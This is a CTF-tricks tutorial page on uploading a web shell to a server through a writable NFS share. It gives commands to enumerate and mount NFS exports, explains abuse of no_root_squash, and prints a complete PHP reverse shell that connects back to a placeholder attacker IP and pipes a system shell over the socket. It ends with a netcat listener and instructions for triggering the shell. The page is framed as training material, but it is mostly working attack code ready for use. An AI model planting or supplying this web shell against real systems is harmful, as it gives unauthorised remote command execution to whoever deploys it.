> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-7/web-delivery/writable-share/trick-0046.md).

# Upload Web Shell via Writable NFS Share

***

If the web server's document root is writable via an external file system like NFS, you can directly place a web shell file into the served directory.

Before attempting to place a file, you need to identify if a target server has NFS shares exported and if they are accessible and writable. You can list exported directories using `showmount`:

```bash
showmount -e <target_ip>
```

Tools like Nmap can also help identify NFS services and exports:

```bash
nmap <target_ip> -p 2049 --script nfs-ls,nfs-statfs,nfs-showmount
```

Once an exported directory is identified, you can attempt to mount it on your attacking machine. For example, to mount `/remote/share` from `<target_ip>` to `/mnt/nfs` locally:

```bash
mount -t nfs <target_ip>:/remote/share /mnt/nfs
```

After mounting, check the permissions of the mounted directory. A critical misconfiguration is the `no_root_squash` option on the NFS server. This option allows the root user on the client machine (your attacking machine) to have root privileges on the NFS share. If the web root is exported with this option, you can write files as root, which is highly advantageous.

Assuming you have located and mounted the writable web root directory on your local machine (e.g., at `/mounted/web/root`), you can simply copy your shell file to it.

```bash
cp /path/to/your/shell.php /mounted/web/root/shell.php
```

A common and effective payload for such a scenario is a PHP reverse shell. This script connects back to your listening machine, allowing you to execute commands. A typical PHP reverse shell script looks like this:

```php
<?php
  set_time_limit(0);
  $VERSION = "1.0";
  $ip = 'YOUR_IP';  // Change this to the ip of your attacking machine
  $port = YOUR_PORT; // Change this to the port you want to use
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'bash';
  if (strpos(php_uname(), 'Windows') !== FALSE) {
    $shell = 'cmd.exe';
  }

  $daemon = 0;
  if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();

    if ($pid == -1) {
      printd("ERROR: Can't fork");
      exit(1);
    }

    if ($pid) {
      exit(0);  // Parent exits
    }
    if (posix_setsid() == -1) {
      printd("ERROR: Couldn't detach from terminal");
      exit(1);
    }

    $daemon = 1;
  } else {
    printd("WARNING: Daemonize not supported on this system");
  }

  chdir("/");

  // Change this to be an invalid file on your system
  // to prevent other scripts from executing
  umask(0);
  $sock = fsockopen($ip, $port, $errno, $errstr, 3);
  if (!$sock) {
    printd("$errstr ($errno)");
    exit(1);
  }

  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printd("ERROR: Can't start shell");
    exit(1);
  }

  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printd("Successfully opened reverse shell to $ip:$port");

  while (!feof($sock) && !feof($pipes[1])) {
    $read_b = array($sock, $pipes[1], $pipes[2]);
    if (($num_changed_streams = stream_select($read_b, $write_a, $error_a, null)) === false) {
      printd(sprintf("ERROR: stream_select failed (%s)", $errno));
      exit(1);
    }

    if (in_array($sock, $read_b)) {
      if (($data = fread($sock, $chunk_size)) === false ) {
        printd("ERROR: fread failed");
        exit(1);
      }
      fwrite($pipes[0], $data);
    }

    if (in_array($pipes[1], $read_b)) {
      if (($data = fread($pipes[1], $chunk_size)) === false ) {
        printd("ERROR: fread failed");
        exit(1);
      }
      fwrite($sock, $data);
    }

    if (in_array($pipes[2], $read_b)) {
      if (($data = fread($pipes[2], $chunk_size)) === false ) {
        printd("ERROR: fread failed");
        exit(1);
      }
      fwrite($sock, $data);
    }
  }

  printd("Shell connection terminated");
  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  function printd($string) {
    // uncomment if you want to debug
    // echo $string . "\\n";
  }

?>
```

Remember to change the `$ip` and `$port` variables within the PHP script to your attacking machine's IP and the port you are listening on before copying the file.

Before triggering the shell, set up a listener on your machine to catch the connection. Use netcat to listen on the port you specified in the PHP script:

```bash
nc -lvnp YOUR_PORT
```

Access the shell via a web browser by navigating to its URL on the target server (e.g., `http://target_ip/shell.php`).
